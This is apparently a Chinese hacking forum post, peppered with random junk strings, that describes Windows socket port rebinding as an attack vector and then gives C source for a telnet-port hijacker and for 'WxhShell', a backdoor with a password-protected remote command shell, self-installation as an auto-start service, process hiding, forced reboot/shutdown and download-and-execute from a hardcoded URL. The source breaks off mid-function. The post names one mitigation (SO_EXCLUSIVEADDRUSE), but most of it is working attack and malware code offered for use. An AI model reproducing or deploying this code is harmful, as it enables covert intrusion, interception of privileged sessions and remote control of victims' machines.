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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +0oyt? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -6hu31W =!1-AR%.^ saddr.sin_family = AF_INET; v#FJ+ {ar5c&< saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'xLM>6[wz ,v$2'm)V bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1]D/3! k;"R y8[k 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 doxdRYKL .(P@Bl]XJ 这意味着什么?意味着可以进行如下的攻击: Fy4< D[>XwL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IS5.i95m mG}^'?^K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J]kP` tu?Z@W/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -Fp!w "=T }5TfQV6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1)P<cNj CYTuj>Ww 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !:g>CDA Y:tW] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Allt]P> MHpL$g=5_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %~~z9 6( n6}E4Eno #include ^cKv JSY #include rC1qGzg\a #include zezofW]a #include a `[?,W:q DWORD WINAPI ClientThread(LPVOID lpParam); |2t7G9[n int main() o1p$9PL\: { TNX%_Q< WORD wVersionRequested; Hm.&f2|( DWORD ret; IDiUn!6Q WSADATA wsaData; gr[ "A BOOL val; "FLD%3l SOCKADDR_IN saddr; $,z[XM&9) SOCKADDR_IN scaddr; LoV*YSDAY int err; ,\m;DR1 SOCKET s; [+:mt</HN SOCKET sc; 3;t@KuQ66 int caddsize; Q)%8NVs HANDLE mt; #LrCx"_& DWORD tid; F=*BvI"+ wVersionRequested = MAKEWORD( 2, 2 ); }K#&5E err = WSAStartup( wVersionRequested, &wsaData ); Y_Z
&p#Q! if ( err != 0 ) { P&-D0T_ printf("error!WSAStartup failed!\n"); @]y{M; return -1; )"i>R
~* } " OS]\- saddr.sin_family = AF_INET; @y;tk$e @=MZ6q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6>LQGO Chb4VoE saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D@lAT#vA saddr.sin_port = htons(23); y ? {PoNI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c^dl+-{Mc { 69<rsp(p printf("error!socket failed!\n"); w|n?m return -1; _>_ y@-b } 0N3tsIm> val = TRUE; KOAz-h@6 //SO_REUSEADDR选项就是可以实现端口重绑定的 J 4'! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =xlYQ}-(a { sGDrMAQt printf("error!setsockopt failed!\n"); S8W_$=4 return -1; DoCQFSL } dZ]\1""#H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^$&"<
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c@ZkX]g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0=(-8vwd W O \lny! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I%zo>s6 { 8G[Y9A(bmP ret=GetLastError(); #LNB@E printf("error!bind failed!\n"); L2/<+Zw return -1; <76=H]h~ } K9z_=c+ listen(s,2); r/s&ee while(1) |V~(mS747: { 6!Tf'#TV~! caddsize = sizeof(scaddr); Lct+cKKU //接受连接请求 6_`eTL=G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qS/71Kv' if(sc!=INVALID_SOCKET) I}g|n0o { GD6'R"tJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <g|nmu)o$ if(mt==NULL) 9 (FcA5Y { ]a%\Q2[c printf("Thread Creat Failed!\n"); CDTk break; zm)CfEF
8 } ^) b7m } WE Svkm; CloseHandle(mt); 8L9S^ ' } D^R! |K/ closesocket(s); HNHhMi`w WSACleanup(); t&Y^W < return 0; L+0N@`nRF } >*Qk~kv<% DWORD WINAPI ClientThread(LPVOID lpParam) a\.O L}"
{ 8`LLHX1| SOCKET ss = (SOCKET)lpParam; !f]3Riw-=, SOCKET sc; J\,e/{,X unsigned char buf[4096]; hoD[wAC SOCKADDR_IN saddr; 5-QvQ&eH. long num; raI~BIfe DWORD val; uwS'*5tU DWORD ret; FUTyx" //如果是隐藏端口应用的话,可以在此处加一些判断 j"$b%| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ?[>BssW saddr.sin_family = AF_INET; :#!F 7u saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $gD(MKR)~ saddr.sin_port = htons(23); ;Wrd=)Ka if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s)&R W#:X { =ILo`Q~ printf("error!socket failed!\n"); <812V8<! return -1; &MGgO\|6 } Z`1o#yZ val = 100; D<L{Z[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h|/*yTuN.y { o'}Z!@h ret = GetLastError(); qI%9MI;BV return -1; QX~72X=( } Hd@T8 D*A if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +P6 { m5Laq'~0_ ret = GetLastError(); XuAc3~HAd return -1; Yr(f iI } +WEO]q?K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c.me1fGn { 6`$z*C2{ printf("error!socket connect failed!\n"); FVLA^$5c closesocket(sc); x?k |i}Q closesocket(ss); bA9dbe return -1; w!Lb;4x ? } 8w@jUGsc while(1) l=OC?d*m { V@s/]|rf, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gdn,nL`dP //如果是嗅探内容的话,可以再此处进行内容分析和记录 !Q/O[6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~sja^ num = recv(ss,buf,4096,0); @md^mss if(num>0) sVl:EVv send(sc,buf,num,0); 'A@Oia1;{ else if(num==0) C g,w6<7 break; %RF num = recv(sc,buf,4096,0); BOcEL%+ if(num>0) )UU6\2^ send(ss,buf,num,0); &(U=O?r7 else if(num==0) Ita!07 break; M(f*hOG{Y } / z>8XM& closesocket(ss); rO>wX_ closesocket(sc); |`9zE] return 0 ; a{YVz\?d} } R$'nWzX# sBG(CpQ gYIYA"xN` ========================================================== oM7-1O ,T>2zSk 下边附上一个代码,,WXhSHELL ;."{0gq sN/Xofh ========================================================== '$ nGtB5 2F)OyE #include "stdafx.h" .\\#~r`t 3 /]58:euR #include <stdio.h> G!lykk] #include <string.h> /u1zRw #include <windows.h> WQ`P^5e #include <winsock2.h> Z"&ODVP #include <winsvc.h> wx7>0[ zE #include <urlmon.h> .TU15AAc 7`n8
OR4 #pragma comment (lib, "Ws2_32.lib") NNV.x7 #pragma comment (lib, "urlmon.lib") 24k}~"We p+1B6 j #define MAX_USER 100 // 最大客户端连接数 H0Xda.Y( #define BUF_SOCK 200 // sock buffer pNme jz: #define KEY_BUFF 255 // 输入 buffer E$fy*enON {.'g!{SHp #define REBOOT 0 // 重启 E*]L]vR #define SHUTDOWN 1 // 关机 3JO:n6 B
~bU7.Cd #define DEF_PORT 5000 // 监听端口 3gXUfv2ID #3jZ7RqzQ #define REG_LEN 16 // 注册表键长度 HUX+d4sg #define SVC_LEN 80 // NT服务名长度 H zK=UcD Z.f<6<gF // 从dll定义API 8#3cmpx4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (.t:sn"P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }{PtQc6RL! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h.%Qn vL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lw lW.C :7]R2JP // wxhshell配置信息 BU .G~0 struct WSCFG { qoq<dCt3 int ws_port; // 监听端口 R5~m"bE char ws_passstr[REG_LEN]; // 口令 1KEPD@0oxx int ws_autoins; // 安装标记, 1=yes 0=no [_GR'x'0x char ws_regname[REG_LEN]; // 注册表键名 5{=MUU=
char ws_svcname[REG_LEN]; // 服务名 V#FLxITk char ws_svcdisp[SVC_LEN]; // 服务显示名 Z.19v>-c char ws_svcdesc[SVC_LEN]; // 服务描述信息 SaScP char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rV{e[fGd int ws_downexe; // 下载执行标记, 1=yes 0=no N1+]3kt ~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" N1t:i? q& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 je0 ?iovY pfIvBU? }; KWkT
9[H 0;`PHNBq // default Wxhshell configuration Fsdn2{g8U struct WSCFG wscfg={DEF_PORT, !T1i_ "xuhuanlingzhe", $:P~21, 1, cA^7}}?e "Wxhshell", XBBRB<l) "Wxhshell", TMs\#
"WxhShell Service", [r~lO@ "Wrsky Windows CmdShell Service", 4iPg_+ "Please Input Your Password: ", UY^f|f& 1, qTex\qP " http://www.wrsky.com/wxhshell.exe", 7tnzgtal "Wxhshell.exe" 9]9(o }; =1uI >[aN Np)!23 " // 消息定义模块 {RO=4ba{J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &}?e:PEy char *msg_ws_prompt="\n\r? for help\n\r#>"; nhxl# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; tt91)^GdYa char *msg_ws_ext="\n\rExit."; od|.E$B char *msg_ws_end="\n\rQuit."; vDL/PXNC char *msg_ws_boot="\n\rReboot..."; sRG3`>1 char *msg_ws_poff="\n\rShutdown..."; e$h\7i:( char *msg_ws_down="\n\rSave to "; 3sNq3I ]+S QS^4 char *msg_ws_err="\n\rErr!"; )FCqYCfk char *msg_ws_ok="\n\rOK!"; n(MEG'9} I!bZ-16X char ExeFile[MAX_PATH]; y2>]gX5 int nUser = 0; >TJ$Z3 HANDLE handles[MAX_USER]; vUNE!j int OsIsNt; pu#<qD*w 2HNS|GHb& SERVICE_STATUS serviceStatus; &c!-C_L 2 SERVICE_STATUS_HANDLE hServiceStatusHandle; {,-# ;A*yW >skS`/6 // 函数声明 *l}
0x@ int Install(void); 2y,wN"qH* int Uninstall(void); .42OSV int DownloadFile(char *sURL, SOCKET wsh); C?J%^?v int Boot(int flag); hkxZ=l void HideProc(void); bL%)k61G_v int GetOsVer(void); %(6Wr E5F6 int Wxhshell(SOCKET wsl); ]vrs? void TalkWithClient(void *cs); CSs6Vm!= int CmdShell(SOCKET sock); :4TcCWG int StartFromService(void); t~M_NEPxV int StartWxhshell(LPSTR lpCmdLine); $P~ a :'=C/AL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i=UJ*c VOID WINAPI NTServiceHandler( DWORD fdwControl ); }mK_d9d x 4#uoPkLK // 数据结构和表定义 o%iTYR:x SERVICE_TABLE_ENTRY DispatchTable[] = G[ea@u$? { 9p<l}h7g {wscfg.ws_svcname, NTServiceMain}, ??;[`_h{bz {NULL, NULL} }Q_i#e(S }; v]>(Ps )R 8'$n|<1X // 自我安装 y.2 SHn0 int Install(void) N3)EG6vE* { "M]]H^r5 char svExeFile[MAX_PATH]; `pr,lL HKEY key; Z$@Nzza- strcpy(svExeFile,ExeFile); U# gmk0>t{ 4a~_hkY] // 如果是win9x系统,修改注册表设为自启动 'UKB
pm/ if(!OsIsNt) { Nt?B(.G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b7/4~_s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZhU2z*qN# RegCloseKey(key); }^t?v*kcA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5q[@N J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N 2\,6 < RegCloseKey(key); 1^mO"nX return 0; 2vLn# } #kA+Yqy\) } &M0v/!%L } ]MyWB<9M else { [o6d]i! ~}fpe>M: // 如果是NT以上系统,安装为系统服务 q.4DwY5 L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
b%6_LK[ if (schSCManager!=0) ,==lgM2V> { <ZLs+|1 SC_HANDLE schService = CreateService BH^q.p_#>X ( VPuzu| schSCManager, (msJ:SG wscfg.ws_svcname, &%<G2x$ wscfg.ws_svcdisp, ZZUCwczI SERVICE_ALL_ACCESS, uWSG+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "cZ.86gG`: SERVICE_AUTO_START, *!r8HV/< SERVICE_ERROR_NORMAL, <v?-$3YT svExeFile, n$>H } #q NULL, O\?ei+(H7 NULL, SrxX-Hir NULL, 9S}PCAA; NULL, ` $}[np| NULL '" 6VfF)* );
^B<jMt if (schService!=0) c8'?Dd { ;XjKWM; CloseServiceHandle(schService); TSeAC[%pL CloseServiceHandle(schSCManager); 3't?%$'5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IlY,V strcat(svExeFile,wscfg.ws_svcname); TX;|g1K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =6'A8d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c`Tg xMu RegCloseKey(key); Xv9CD return 0; };|'8'5 } *ZHk^d: } V'8
(}(s/ CloseServiceHandle(schSCManager); %H54^Z<y } `y4+OXZ^ } C M(g4fh 0W@C!mD~ return 1; `KZ}smMA } !HFwQGP.Y 7J\I%r // 自我卸载 H|P.q{(G int Uninstall(void) wx<DzC { [e (- HKEY key; *ood3M[M^ vg<_U&N=-r if(!OsIsNt) { qzq>C"z\Y$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HG3jmI+u> RegDeleteValue(key,wscfg.ws_regname); >%{h_5 RegCloseKey(key); 3.soCyxmc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sf%=q$z RegDeleteValue(key,wscfg.ws_regname); LGK}oL' RegCloseKey(key); xZ .:H&0G return 0; zk?lNs } sD
M!Uv2n } &iTsuA/7 } rkVZP!7! else { F4*f_lP +K&ze:-Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hsi#J^n{ if (schSCManager!=0) =fm/l-P@ { Mv_4*xVc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0&<{o!>k if (schService!=0) O\xUv { 3?C$Tl2G8 if(DeleteService(schService)!=0) { >LLFe~9`g CloseServiceHandle(schService); UJO+7h' CloseServiceHandle(schSCManager); @>da%cX return 0; k(et b# } *M&~R(TMn CloseServiceHandle(schService); XBBsdldZ } }pA0mW9 CloseServiceHandle(schSCManager); 778a)ZOzb } |3s-BKbN4 } GZ9XG"> 07n=H~yU return 1; ?=aQG0 } `CW =*uBH </7J:# // 从指定url下载文件 =>&d[G[m! int DownloadFile(char *sURL, SOCKET wsh) L,n'G% { p=p,sJ/@ HRESULT hr; th !Gc char seps[]= "/"; RE*;nSVFt char *token; wqJH char *file; VsFRG;:\U char myURL[MAX_PATH]; I6\l6 o char myFILE[MAX_PATH]; 6*CvRb& s3oK[:/ strcpy(myURL,sURL); !s5 _JO token=strtok(myURL,seps); :Z,zWk1| while(token!=NULL) 1--5ok
h { 21W>}I"0? file=token; @qI^xs=Z token=strtok(NULL,seps); k |M } PE-VxRN) TEv3;Z*N GetCurrentDirectory(MAX_PATH,myFILE); wTqgH@rGtR strcat(myFILE, "\\"); p9fx~[_5/ strcat(myFILE, file); nD|Bo 9 send(wsh,myFILE,strlen(myFILE),0); ?z p$Wz;k send(wsh,"...",3,0); zGA#7W2?0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ak&eGd$d if(hr==S_OK) z;D[7tT return 0; DdPU\ ZWR else tK1P7pbC8r return 1; ^C_ ;uz V4iN2 } 0jG8Gmh! Z+JPxe#7 // 系统电源模块 <$R'y6U: int Boot(int flag) \vsfY { "p0e6Z= HANDLE hToken; qo/`9%^E? TOKEN_PRIVILEGES tkp; iU5M_M$G kect)=T( if(OsIsNt) { 0"LJ{:plz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5@6F8:x}V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U%_BgLwy% tkp.PrivilegeCount = 1; sBt,y_LW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -6@#Nq_iWU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \'x.DVp if(flag==REBOOT) { ;X*I,g.+H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :.J Ad$>P return 0; Gg8F>y<[R } "KSzn else { H+6+I53 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qYF150 return 0; w`x4i fZ0q } Gg$4O 8 } 90X<Qs else { J4"?D9T3G if(flag==REBOOT) { 7M7sq-n5z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "MOM@4\ return 0;
]?M3X_Mq } N6EG!* else { }}G`yfs}r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B _k+Oa2! return 0; ,=jwQG4wq } ?)X0l } wF[%+n (* "V'<dn return 1; B
OKY
X } *:}9(8d K!g!tA$ // win9x进程隐藏模块 Cj'XL} void HideProc(void) zsOOx%
+ { b*Sw")# n%X5TJE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .Yg7V'R1 if ( hKernel != NULL ) ';'gKX!9V { }6b" JoC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j2^Vz{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yGj'0c:: FreeLibrary(hKernel); b
v5BV } 4z6kFQgu |q!O~<H@ return; k}18
~cWM } ld =e*S h0dK // 获取操作系统版本 hX4V}kj int GetOsVer(void) E7mB=bt>= { ON [F OSVERSIONINFO winfo; \
]v>#VXr_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >W>3w GetVersionEx(&winfo); ZW>iq M^9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~'lY Q[7 return 1; 8GlRO4yd else VRE[vM' return 0; v-(dh5e`
H } PJ-g.0q uidoz
f2} // 客户端句柄模块 n~_;tO int Wxhshell(SOCKET wsl) 6 H{G$[2 { nOTe 3?i> SOCKET wsh; f0M5^ struct sockaddr_in client; ^J~5k,7jX DWORD myID; L+K,Y:D!W Tji* \<? while(nUser<MAX_USER) ,B 2p\ { L5DeLF+ int nSize=sizeof(client); >v#6SDg wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e5
N$+P" if(wsh==INVALID_SOCKET) return 1; tXfXuHa JIatRc?g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !(A< if(handles[nUser]==0) kltorlH closesocket(wsh); JO-FnoQK else @PzRHnT* nUser++; %1\~OnT } #kQ1,P6,( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >lkjoEVQ /JjSx/ return 0; '+&!;Jj, } hm,H3pN |Ml~_m // 关闭 socket y3@m1>]09 void CloseIt(SOCKET wsh) O%s7 }bR3 { >zX`qv&> closesocket(wsh); dt5`UBvUg nUser--; &0x;60b ExitThread(0); d~qZ;uw } \)M
EM=U 6DVHJ+WTV // 客户端请求句柄 ?G>E[!8ev void TalkWithClient(void *cs) ;q?WU>c{? { F]GX;<` Ve\.7s SOCKET wsh=(SOCKET)cs; sq_
yu( char pwd[SVC_LEN]; M#}k@
;L3 char cmd[KEY_BUFF]; T&ib]LmR char chr[1]; [hJASX9 int i,j; b
Bkg/p] n,#o6ali> while (nUser < MAX_USER) { ]u|5ZCv0 {VE1c'E"V? if(wscfg.ws_passstr) { +<Y1`kV) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |-9##0H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9}T(m(WQVu //ZeroMemory(pwd,KEY_BUFF); }xJ!0<Bs i=0; @{@DGc while(i<SVC_LEN) { Z{^Pnit }hA)p: // 设置超时 ("s!t?!&YS fd_set FdRead; uWLf9D " struct timeval TimeOut; Z x&= K" FD_ZERO(&FdRead); $C
t(M) FD_SET(wsh,&FdRead); ef K
WR TimeOut.tv_sec=8; C]a iu TimeOut.tv_usec=0; 09 vm5| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R^6]v`j; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \SooIEl@ PG{"GiZz= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )uO 3v pwd =chr[0]; 'tDVSj if(chr[0]==0xd || chr[0]==0xa) { xzw2~(lo pwd=0; 0zpA<"S break; b"(bT6XO! } ({<qs}H" i++; , }B{) } YeI|&FMX .2
}5Dc,eR // 如果是非法用户,关闭 socket ?
@- t.N if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]Wn=Oc{F } 2,r jy|R` xJ^pqb send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %'MR;hQsd8 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .*Axr\x3 wKE}BO > while(1) { W]5sqtF;6 [Qn=y/._r ZeroMemory(cmd,KEY_BUFF); DI\^&F)3T2 42Cc`a%U // 自动支持客户端 telnet标准 }LwKi-G? j=0; /Z2 g> while(j<KEY_BUFF) { snVeOe#'S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;HmQRiCg cmd[j]=chr[0]; ^.>XDUO F if(chr[0]==0xa || chr[0]==0xd) { S[y?> cmd[j]=0; TUi< break; /mQ9}E4X } s;,ulME j++; Ym
wb2]M } "b0!h6$!H ]m\:XhI*< // 下载文件 S~ZRqL7ZO if(strstr(cmd,"http://")) { w1)SuMFK_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); i%otvDn1 if(DownloadFile(cmd,wsh)) J%P{/ nR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X?SLYm@v else J5zu}U? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $+n5l@W } i&Me7=~ else { =UV=F/Af^ (!koz'f switch(cmd[0]) { `cqZ;(^ J1d|L|M // 帮助 &Ui&2EW case '?': { e
ls&_BPE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yHxi^D] break; @l?2", } g?9%_&/})A // 安装 JT*Pm"} case 'i': { ~!ICBF~j if(Install()) S^ JUQx7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +zzS else 8_uh2`+Bvb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PF]Vt break; EK}QjY[i } D,SL_*r{ // 卸载 ?sbM= oo case 'r': { KDYyLkI dr if(Uninstall()) C72btS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P"k,[ZQ else 1#jvr_ ga send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _R;+}1G/ break; ^jg{MTa } dMoN19F // 显示 wxhshell 所在路径 *Bx'g|
u case 'p': { o88Dz}a char svExeFile[MAX_PATH]; f/e2td*A strcpy(svExeFile,"\n\r"); >}B~~C; strcat(svExeFile,ExeFile); z<s4-GJ)? send(wsh,svExeFile,strlen(svExeFile),0); vQL)I break; OuU ]A[r } ?r}!d2:dX // 重启 FUKE.Uxd case 'b': { u^uo=/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9Jp"E5Ql) if(Boot(REBOOT)) Tp%4{U/0` send(wsh,msg_ws_err,strlen(msg_ws_err),0); .E0*lem'hE else { c$]NXKcA closesocket(wsh); Zbjj>*2%^ ExitThread(0); f n'N^ } }{@RO./)[ break; O:(%m } gfAVxMg // 关机 'gv7&$X}4 case 'd': { OvW/{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bHH=MLZR: if(Boot(SHUTDOWN)) .@;,'Xw1~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); >jBnNA@ else { |cq%eN closesocket(wsh); 0Z>oiBr4 ExitThread(0); (r )fx } -~ycr[}x break; g63?(+Fz } {>=#7e-] // 获取shell c}g:vh case 's': { X5eTj CmdShell(wsh); }lt]]094, closesocket(wsh); N3g?gb"Ex) ExitThread(0); QTjOLK$e$ break; !;YQQ<D } 2\=cv // 退出 T+|V;nP. case 'x': { G q
r(. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]qk/V:H: CloseIt(wsh); 4 4kb break; A[m4do } yy-\$<j // 离开 >SZ9,K4Gs case 'q': { ^,KN@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q.[^5
8 closesocket(wsh); #%g~fh WSACleanup(); iXDQ2&gE* exit(1); CQNt break; @7*Ag~MRb } er0ClvB } n"{oj7E0a } {bvm83{T $W;IW$ // 提示信息 id.W"5+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J8yi#A>+ } Wy%F
} D?_#6i;DJ g$*VA} s return; zorTZ #5 } /< CjBW: v#`Wf}G // shell模块句柄 {1
94u%' int CmdShell(SOCKET sock) x 1"ikp} { =pS\gLQu STARTUPINFO si; 4GRmo"S ZeroMemory(&si,sizeof(si)); ~f2zMTI| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gaJIc^O si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M('cG PROCESS_INFORMATION ProcessInfo; #YSUPO%F char cmdline[]="cmd"; s:/.:e_PU CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , eZL&n return 0; @kKmkVhu* } ; (+r)r_ b\w88=| // 自身启动模式 c#e_Fs int StartFromService(void) 8EPV\M1% { ft[g1 typedef struct ?%h JZm; { g~@0p7]Y DWORD ExitStatus; {P#&e>)v{ DWORD PebBaseAddress; RfB""b8]= DWORD AffinityMask; =#<hT
s DWORD BasePriority; 'gojP ULONG UniqueProcessId; _ QM ULONG InheritedFromUniqueProcessId; Al`[Iu& } PROCESS_BASIC_INFORMATION; Ga%]$4u `8TM<az-L PROCNTQSIP NtQueryInformationProcess; ${ ~UA6 QWf)5S static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rh%/xG#k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bkl'0
